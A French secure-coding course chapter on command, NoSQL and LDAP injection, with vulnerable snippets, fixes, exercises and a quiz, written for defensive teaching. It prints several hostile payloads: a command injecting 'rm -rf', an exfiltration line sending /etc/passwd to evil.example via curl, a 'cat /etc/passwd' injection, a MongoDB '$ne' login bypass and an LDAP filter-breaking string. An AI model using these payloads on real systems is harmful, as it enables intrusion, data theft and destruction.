Chapitre 6.3 — Command, NoSQL & LDAP
⏱️ TL;DR — L’injection n’est pas réservée à SQL : partout où une entrée atteint un interpréteur, le même risque existe. Command injection : une entrée dans une commande shell → exécution de code système (le plus grave — prise de contrôle du serveur). Parade : ne pas passer par un shell ; utiliser une API qui reçoit la commande et ses arguments en tableau. NoSQL injection (MongoDB…) : un objet comme
{"$ne": null}glissé à la place d’une chaîne contourne un filtre. Parade : valider que l’entrée est bien une chaîne, jamais un opérateur. LDAP injection : mêmes causes dans les filtres d’annuaire. Un seul réflexe partout : ne mélange pas données et commande.
🎯 Objectifs
- Reconnaître et fermer une command injection (le risque le plus grave : RCE).
- Comprendre la NoSQL injection par opérateur et la bloquer (typage strict des entrées).
- Reconnaître la LDAP injection et sa parade.
- Généraliser le réflexe « séparer données et commande » hors du monde SQL.
Command injection : la plus dangereuse
Quand ton code appelle une commande système (convertir une image, lancer git, pinguer un hôte) en y concaténant une entrée, un attaquant peut y glisser des métacaractères shell (;, |, &&, $(...), backticks) pour faire exécuter ses propres commandes. C’est souvent le pire cas : une RCE (Remote Code Execution) qui donne le contrôle du serveur.
// ❌ VULNERABLE : entree concatenee dans une commande shell
$fichier = $_GET['f'];
system("convert $fichier output.png");
// attaquant : f = "photo.jpg; rm -rf /var/www"
// -> shell execute convert PUIS rm -rf ... (catastrophe)Le ; de l’attaquant termine la commande convert et en démarre une autre. Avec $(...) ou des backticks, il peut aussi exfiltrer ($(curl evil.example -d @/etc/passwd)).
La parade : éviter le shell, passer les args en tableau
La vraie parade n’est pas d’« échapper » (fragile) mais de ne pas invoquer de shell du tout : utiliser une API qui prend le programme et ses arguments séparément, dans un tableau. Sans shell, les métacaractères n’ont aucune signification spéciale — ils deviennent de simples arguments littéraux.
// ❌ shell : les metacaracteres sont interpretes
const { exec } = require('child_process')
exec(`convert ${fichier} output.png`) // DANGER
// ✅ pas de shell : arguments en tableau, aucun metacaractere interprete
const { execFile } = require('child_process')
execFile('convert', [fichier, 'output.png']) // 'fichier' est un pur argument// ✅ PHP : arguments passes en tableau via proc_open, sans shell
// ou, a minima, echappement dedie de CHAQUE argument :
$cmd = 'convert ' . escapeshellarg($fichier) . ' output.png';Le meilleur choix reste : ne pas appeler de commande externe si une bibliothèque native fait le travail (ex. traiter l’image via une lib plutôt que d’invoquer convert). Moins de shell = moins de surface. Et valider l’entrée (un nom de fichier attendu doit correspondre à un motif strict).
⚠️ Piège —
system(),exec(),shell_exec(), backticks PHP,child_process.execde Node : tous passent par un shell qui interprète les métacaractères. Les utiliser avec une entrée concaténée = command injection quasi assurée. Bascule vers les variantes sans shell à arguments en tableau (execFile/spawnsansshell:true,proc_openavec tableau). Et méfie-toi deshell: truequi réintroduit le danger.
NoSQL injection : l’injection par opérateur
Les bases NoSQL (MongoDB…) ne parlent pas SQL, mais elles sont aussi injectables — souvent parce qu’on laisse une entrée devenir un opérateur de requête au lieu d’une valeur. Beaucoup de frameworks parsent le corps JSON (ou la query string) en objets, ce qui permet à l’attaquant d’envoyer un objet là où on attendait une chaîne.
// Le code attend un mot de passe (chaine) :
db.users.findOne({ email: req.body.email, password: req.body.password })
// ❌ L'attaquant envoie un OBJET au lieu d'une chaine :
// { "email": "admin@site.fr", "password": { "$ne": null } }
// -> password: { $ne: null } = "different de null" = TOUJOURS vrai
// -> connexion sans connaitre le mot de passeL’opérateur $ne (ou $gt, $regex…) transforme la condition. La donnée attendue (chaîne) est devenue de la logique de requête (opérateur) — c’est le même mécanisme que la SQLi, transposé.
La parade : typer et valider
- Valider le type : s’assurer que ce qui doit être une chaîne en est bien une (rejeter les objets). Un schéma (Zod, Joi, contraintes) qui impose
password: stringbloque l’astuce. - Ne pas hacher/comparer les mots de passe côté requête (comme en SQL) : récupérer l’utilisateur par email, puis vérifier le hash en code.
- Utiliser les API/ODM de façon à ne pas laisser une entrée définir des opérateurs, et se méfier des parseurs qui transforment
?x[$ne]=en objet.
// ✅ Valider que les champs sont des CHAINES avant la requete
const schema = z.object({ email: z.string().email(), password: z.string() })
const { email, password } = schema.parse(req.body) // rejette un objet {$ne:...}
const user = await db.users.findOne({ email })
if (user && await verifyHash(password, user.hash)) { /* ok */ }LDAP injection
Les annuaires LDAP (souvent pour l’auth en entreprise) se requêtent avec des filtres ((&(uid=alice)(password=...))). Concaténer une entrée dans un filtre permet d’y injecter des métacaractères LDAP (*, ), (, &, |) pour altérer la logique — par exemple un * comme mot de passe pour matcher n’importe quoi, ou fermer/rouvrir des clauses.
# ❌ filtre concatene : uid = "alice)(|(uid=*" casse la structure du filtre
(&(uid=alice)(|(uid=*)(password=...)) # logique detourneeParade : utiliser l’API LDAP paramétrée de ta plateforme quand elle existe, ou échapper les caractères spéciaux LDAP avec la fonction dédiée (l’échappement LDAP diffère de l’échappement SQL/HTML — utilise celui de la lib LDAP), et valider le format des entrées (un uid a un format connu).
Le tableau récap
| Injection | Interpréteur | Payload typique | Parade principale |
|---|---|---|---|
| Command | Shell système | ; rm -rf, $(...), backticks | Pas de shell ; args en tableau ; éviter l’appel externe |
| NoSQL | Mongo, etc. | {"$ne": null}, {"$gt":""} | Typer l’entrée (string, pas objet) ; valider (schéma) |
| LDAP | Annuaire | *, )(|, & | API paramétrée / échappement LDAP dédié ; valider le format |
| SQL (rappel) | Base SQL | ' OR '1'='1, ; DROP | Requêtes préparées / ORM (chapitre 6.2) |
💡 Réflexe — Le réflexe est le même partout : ne laisse jamais une entrée se fondre dans une commande. Pour le shell : arguments en tableau, sans shell. Pour NoSQL : impose le type (une chaîne reste une chaîne). Pour LDAP : API paramétrée ou échappement dédié. Le principe du chapitre 6.1 — séparer données et code — se décline sur chaque interpréteur. Si tu retiens un seul truc de la Partie 6 : une entrée n’est jamais du code.
🎯 Côté attaquant — L’attaquant sonde quel interpréteur est derrière un champ : une apostrophe (SQL), un
;/|(shell), un{"$ne":...}ou[$gt](NoSQL), un*(LDAP). Il envoie aussi des objets là où une chaîne est attendue (les parseurs JSON/query permissifs le permettent) pour tester le NoSQL. Toute réaction anormale (erreur, résultat inattendu, délai) signale que sa donnée atteint un interpréteur. Les endpoints de login, d’upload/traitement de fichier (souvent unconvert/ffmpegderrière) et de recherche sont ses cibles favorites.
🧭 Sur FormaCampus — FormaCampus génère des aperçus de documents uploadés (conversion d’images/PDF). Le traitement n’appelle jamais de shell avec une entrée : les binaires sont invoqués via une API à arguments en tableau (pas de
system()), et le nom de fichier est validé (motif strict) puis remplacé par un identifiant généré côté serveur. L’authentification passe par Symfony (pas de comparaison de mot de passe en requête), donc pas de vecteur NoSQL/LDAP sur le login. Là où un annuaire LDAP est utilisé (SSO d’un établissement), les filtres passent par l’API paramétrée du client LDAP, jamais par concaténation.
✏️ Exercices
Exercice 1 — Ferme la command injection. Ce code lance un ping de diagnostic. Montre l’exploitation et corrige.
const { exec } = require('child_process')
app.get('/ping', (req, res) => {
exec(`ping -c 1 ${req.query.host}`, (e, out) => res.send(out))
})✅ Solution
Exploitation : ?host=8.8.8.8; cat /etc/passwd (ou $(...)) → le shell exécute ping puis la commande de l’attaquant → RCE. Correctif : ne pas passer par un shell — utiliser execFile/spawn avec les arguments en tableau : execFile('ping', ['-c', '1', req.query.host], (e, out) => res.send(out)). Sans shell, ; cat ... devient un argument littéral de ping (qui échoue proprement), pas une commande. En complément : valider que host est un nom d’hôte/IP au format attendu (allow-list de format) avant même de l’utiliser.
Exercice 2 — NoSQL par opérateur. Une API de login MongoDB fait users.findOne({ email, password }) avec email/password pris directement dans req.body. Montre le contournement et corrige.
✅ Solution
Contournement : envoyer {"email":"admin@site.fr","password":{"$ne":null}}. password: {$ne: null} signifie « différent de null » = toujours vrai → findOne renvoie l’admin sans le bon mot de passe. La donnée attendue (chaîne) est devenue un opérateur. Correctif : (1) valider les types avec un schéma (z.object({ email: z.string().email(), password: z.string() })) qui rejette un objet ; (2) ne pas comparer le mot de passe dans la requête — récupérer l’utilisateur par email (chaîne validée) puis vérifier le hash en code (verifyHash). L’entrée ne doit jamais pouvoir définir un opérateur de requête.
🧠 Quiz de révision
1. Pourquoi la command injection est-elle souvent la plus grave ?
Parce qu’elle mène à une RCE (exécution de code arbitraire sur le serveur) : l’attaquant exécute ses propres commandes système (lire des fichiers, exfiltrer, détruire, pivoter). C’est une prise de contrôle du serveur, bien au-delà de la seule base de données.
2. Quelle est la vraie parade à la command injection ?
Ne pas passer par un shell : utiliser une API qui reçoit le programme et ses arguments en tableau (execFile/spawn sans shell:true, proc_open avec tableau). Sans shell, les métacaractères (;, |, $()) deviennent de simples arguments littéraux. Mieux encore : éviter l’appel externe si une lib native suffit.
3. Comment fonctionne une NoSQL injection typique ?
L’attaquant envoie un objet/opérateur ({"$ne": null}, {"$gt":""}) là où on attendait une chaîne ; l’opérateur détourne la condition (ex. « toujours vrai »), contournant un filtre ou un login. La donnée est devenue de la logique de requête.
4. Comment bloque-t-on la NoSQL injection ?
En validant le type des entrées (imposer qu’une chaîne soit bien une chaîne via un schéma, rejeter les objets), en ne comparant pas les secrets dans la requête (vérifier le hash en code), et en se méfiant des parseurs qui transforment l’entrée en objets/opérateurs.
5. Quel principe unique relie command, NoSQL, LDAP et SQL injection ?
Ne jamais mélanger données et commande : une entrée n’est jamais du code. On sépare (paramètres SQL, arguments en tableau pour le shell, typage strict pour NoSQL, API/échappement dédié pour LDAP). Un seul mécanisme, une seule famille de parades.
Chapitre suivant : Défense en profondeur — empiler les couches autour du paramétrage : validation, moindre privilège de la base, gestion des erreurs qui ne fuient pas.